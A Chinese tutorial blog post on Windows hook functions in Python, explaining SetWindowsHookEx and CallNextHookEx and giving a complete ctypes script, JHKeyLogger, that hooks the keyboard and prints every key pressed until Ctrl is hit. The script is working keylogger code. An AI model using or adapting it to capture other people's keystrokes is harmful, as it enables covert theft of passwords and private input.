python 钩子函数
python 在windows下监听键盘按键
使用到的库
- ctypes(通过ctypes来调用Win32API, 主要就是调用钩子函数)
使用的Win32API
- SetWindowsHookEx(), 将用户定义的钩子函数添加到钩子链中, 也就是我们的注册钩子函数
- UnhookWindowsHookEx(), 卸载钩子函数
- CallNextHookEx()在我们的钩子函数中必须调用, 这样才能让程序的传递消息
在没有钩子函数的情况下windows程序运行机制
- 键盘输入 --> 系统消息队列 --> 对应应用程序的消息队列 --> 将消息发送到对应的窗口中
在有了钩子函数的情况下windows程序运行机制
- 键盘输入 --> 系统消息队列 --> 对应应用程序消息队列 --> 将消息发送到钩子链中 --> 消息一一调用完毕所有的钩子函数(需要调用CallNextHookEx函数才能将消息传递下去) --> 将消息发送到对应的窗口中
示例程序
- 注意:
- 在程序中, 我们通过CFUNCTYPE返回一个类对象, 通过该类对象可以实例化出我们需要的c类型的函数, 但是如果不将他放在全局的话则会失去效果, 因为在C语言中函数是全局的
# -*- coding: utf-8 -*-
import os
import sys
from ctypes import *
from ctypes.wintypes import *
"""
define constants
"""
WH_KEYBOARD = 13
WM_KEYDOWN = 0x0100
CTRL_CODE = 162
class JHKeyLogger(object):
def __init__(self, user32, kernel32):
"""
Description:
Init the keylogger object, the property 'hook_' is the handle to control our hook function
Args:
@(dll)user32: just put windll.user32 here
@(dll)kernel32: just put windll.kernel32 here
Returns:
None
"""
self.user32_ = user32
self.kernel32_ = kernel32
self.hook_ = None
def install_hookproc(self, hookproc):
"""
Description:
install hookproc function into message chain
Args:
@(c type function)hookproc: hookproc is the hook function to call
Returns:
@(bool):
if SetWindowHookExA() function works successfully, return True
else return False
"""
self.hook_ = self.user32_.SetWindowsHookExA(
WH_KEYBOARD,
hookproc,
self.kernel32_.GetModuleHandleW(None),
0)
if not self.hook_:
return False
return True
def uninstall_hookproc(self):
"""
Description:
uninstall the hookproc function which means pick the hookproc pointer off the message chain
Args:
None
Returns:
None
"""
if not self.hook_:
return
self.user32_.UnhookWindowsHookEx(self.hook_)
self.hook_ = None
def start(self):
"""
Description:
start logging, just get the message, the current thread will blocked by the GetMessageA() function
Args:
None
Returns:
None
"""
msg = MSG()
self.user32_.GetMessageA(msg, 0, 0, 0)
def stop(self):
self.uninstall_hookproc()
def hookproc(nCode, wParam, lParam):
"""
Description:
An user-defined hook function
Attention:
here we use the global variable named 'g_keylogger'
"""
if wParam != WM_KEYDOWN:
return g_keylogger.user32_.CallNextHookEx(g_keylogger.hook_, nCode, wParam, lParam)
pressed_key = chr(lParam[0])
print pressed_key,
# hit ctrl key to stop logging
if CTRL_CODE == lParam[0]:
g_keylogger.stop()
sys.exit(-1)
return g_keylogger.user32_.CallNextHookEx(g_keylogger.hook_, nCode, wParam, lParam)
# Attention: pointer must be defined as a global variable
cfunctype = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
pointer = cfunctype(hookproc)
g_keylogger = JHKeyLogger(windll.user32, windll.kernel32)
def main():
if g_keylogger.install_hookproc(pointer):
print 'install keylogger successfully!'
g_keylogger.start()
print 'hit ctrl to stop'
if __name__ == '__main__':
main()
python 钩子函数的更多相关文章
- Python 钩子函数详解
###### 钩子函数 ``` import pluggy hookspec = pluggy.HookspecMarker('aaa') hookimpl = pluggy.HookimplMark ...
- 让你轻松掌握 Python 中的 Hook 钩子函数
1. 什么是Hook 经常会听到钩子函数(hook function)这个概念,最近在看目标检测开源框架mmdetection,里面也出现大量Hook的编程方式,那到底什么是hook?hook的作用是 ...
- 【Flask】 python学习第一章 - 4.0 钩子函数和装饰器路由实现 session-cookie 请求上下文
钩子函数和装饰器路由实现 before_request 每次请求都会触发 before_first_requrest 第一次请求前触发 after_request 请求后触发 并返回参数 tear ...
- VueRouter和Vue生命周期(钩子函数)
一.vue-router路由 1.介绍 vue-router是Vue的路由系统,用于定位资源的,在页面不刷新的情况下切换页面内容.类似于a标签,实际上在页面上展示出来的也是a标签,是锚点.router ...
- python第六天 函数 python标准库实例大全
今天学习第一模块的最后一课课程--函数: python的第一个函数: 1 def func1(): 2 print('第一个函数') 3 return 0 4 func1() 1 同时返回多种类型时, ...
- Django forms组件与钩子函数
目录 一.多对多的三种创建方式 1. 全自动 2. 纯手撸(了解) 3. 半自动(强烈推荐) 二.forms组件 1. 如何使用forms组件 2. 使用forms组件校验数据 3. 使用forms组 ...
- ajax提交文件,django测试脚本环境书写,froms组件,钩子函数
1.在新版本中,添加app是直接在settings设置中,将INSTALLED_APPS里添加app名字, 但是他的完整写法是 'app01.apps.App01Config' 因为新版本做了优 ...
- [Django REST framework - 序列化组件、source、钩子函数]
[Django REST framework - 序列化组件.source.钩子函数] 序列化器-Serializer 什么是rest_framework序列化? 在写前后端不分离的项目时: 我们有f ...
- Pytest_Hook钩子函数总结(14)
前言 pytest 的钩子函数有很多,通过钩子函数的学习可以了解到pytest在执行用例的每个阶段做什么事情,也方便后续对pytest二次开发学习.详细文档可以查看pytest官方文档https:// ...
随机推荐
- PDG科普篇
作者:马健邮箱:stronghorse_mj@hotmail.com发布:2009.09.26 更新历史 2014.11.11补充了文字版PDG的部分内容增加CX PDF等打包格式的相关内容 2009 ...
- 浅谈chainer框架
一 chainer基础 Chainer是一个专门为高效研究和开发深度学习算法而设计的开源框架. 这篇博文会通过一些例子简要地介绍一下Chainer,同时把它与其他一些框架做比较,比如Caffe.The ...
- Glib之主事件循环
介绍 GLib和GTK+应用的主事件循环管理着所有事件源.这些事件的来源有很多种比如文件描述符(文件.管道或套接字)或超时.新类型的事件源可以通过g_source_attach()函数添加. 为了让多 ...
- numpy中argsort函数用法
在Python中使用help帮助 >>> import numpy >>> help(numpy.argsort) Help on function argsort ...
- ubuntu开机自启动服务管理
安装sysv-rc-conf sudo apt-get install sysv-rc-conf 执行下面,查看服务情况 sudo sysv-rc-conf 启动服务有以下两种方式 update-rc ...
- 毕业设计 python opencv实现车牌识别 预处理
主要代码参考https://blog.csdn.net/wzh191920/article/details/79589506 GitHub:https://github.com/yinghualuow ...
- Unix shell判断和比较
1. shell 的$! ,$?, $$,$@ $n $1 the first parameter,$2 the second... $# The number of c ...
- day_10 函数名,闭包,迭代器
1. 函数名的使用 1.函数名是一个变量,函数名储存的是函数的内存地址 2.函数名可以赋值给其他变量 3.函数名可以当容器类对象的元素 4.函数名可以当其他函数的参数 5.函数名可以做函数的返回值 2 ...
- APP微信支付实现
参考官方文档 设计到的API: 统一下单API.支付结果通知API和查询订单API 下面代码是请求预支付ID // 构建下单bean final WxPayUnifiedOrderBean unifi ...
- ansible部署,规划
部署管理服务器 第一步:先检查有没有ssh服务 [root@iZm5eeyc1al5vzh8bo57zyZ ~]# rpm -qf /etc/init.d/sshd openssh-server-5. ...